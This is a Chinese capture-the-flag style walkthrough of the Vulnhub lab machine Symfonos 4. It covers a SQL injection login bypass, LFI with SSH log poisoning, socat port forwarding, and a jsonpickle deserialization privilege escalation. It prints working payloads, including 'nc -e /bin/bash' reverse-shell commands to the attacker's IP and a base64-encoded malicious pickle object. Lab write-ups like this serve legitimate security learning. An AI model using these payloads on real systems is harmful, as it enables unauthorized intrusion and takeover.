Vulnhub-靶机-SYMFONOS: 4
本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站,需要发现目标靶机的IP地址,可以使用nmap,netdiscover,或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的,那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/symfonos-4,347/
nmap扫描结果
看到只有22和80端口开放,看看web应用,先爆破目录看看 dirb http://192.168.56.109 /usr/share/wordlists/dirb/big.txt -X .php
发现两个php文件,我们访问看看
访问了上面两个php文件,确认都会到达上面两个页面,其中sea.php文件会跳转到atlantis.php文件 ,试了试弱口无果,试了下各种形式的万能密码,居然成功了,进入了如下页面:
万能密码:'or '1'='1'#
在上面的选项框中选择其中一个选项
进入之后看了下URL猜测是有代码执行或者本地文件包含,首先尝试包含/etc/passwd发现页面空白,估计是没权限,那么尝试包含下ssh相关认证的日志看看,发现是可以查看,之后尝试ssh连接目标靶机,登录名填写一句话木马,然后生成的日志通过此包含漏洞进行利用
参考:https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/
http://192.168.56.109/sea.php?file=../../../../../../var/log/auth&bmfx=nc -e /bin/bash 192.168.56.101 8833 这里执行只有像我下面一样使用hackbar可以这么写,否则是需要把空格加上url编码执行
成功反弹shell,并处理成了可交互式友好的shell ,读了一下atlantis.php文件, 发现存储了数据库的账号和密码,登录数据库查到admin账户的密码,尝试破解无果
上面操作无果,那就再看看本地的进程和开放的端口,发现没有namp命令,也不想上传枚举提权脚本,也没有netstat命令,那么直接试试ps -ef 或者ps aux 然后使用grep过滤使用root权限执行的进程
发现本地以root启动的进程是本地监听8080端口,使用Python启动,应用名称含有关键字app,尝试本地搜索此关键字
得知上面代码,然后应用本地启动了8080端口,只能靶机本地能访问,尝试进行端口转发
socat TCP-LISTEN:9933,fork TCP:127.0.0.1:8080
这样看,看不出来有什么可利用的,使用burpsuite抓包看看
发现cookie处的username像是base64编码过的,尝试使用burpsuite进行解码看看
看了互联网上的演示,这里可以提权,具体代码如下
{"py/object":"main.Shell","py/reduce":[{"py/type":"os.system"},{"py/tuple":["/usr/bin/nc -e /bin/bash 192.168.56.101 8866"]},null,null,null]}
将其编码为base64
eyJweS9vYmplY3QiOiJtYWluLlNoZWxsIiwicHkvcmVkdWNlIjpbeyJweS90eXBlIjoib3Muc3lzdGVtIn0seyJweS90dXBsZSI6WyIvdXNyL2Jpbi9uYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC41Ni4xMDEgODg2NiJdfSxudWxsLG51bGwsbnVsbF19
在burpsuite上进行重放
kali本地监听的8866端口成功反弹shell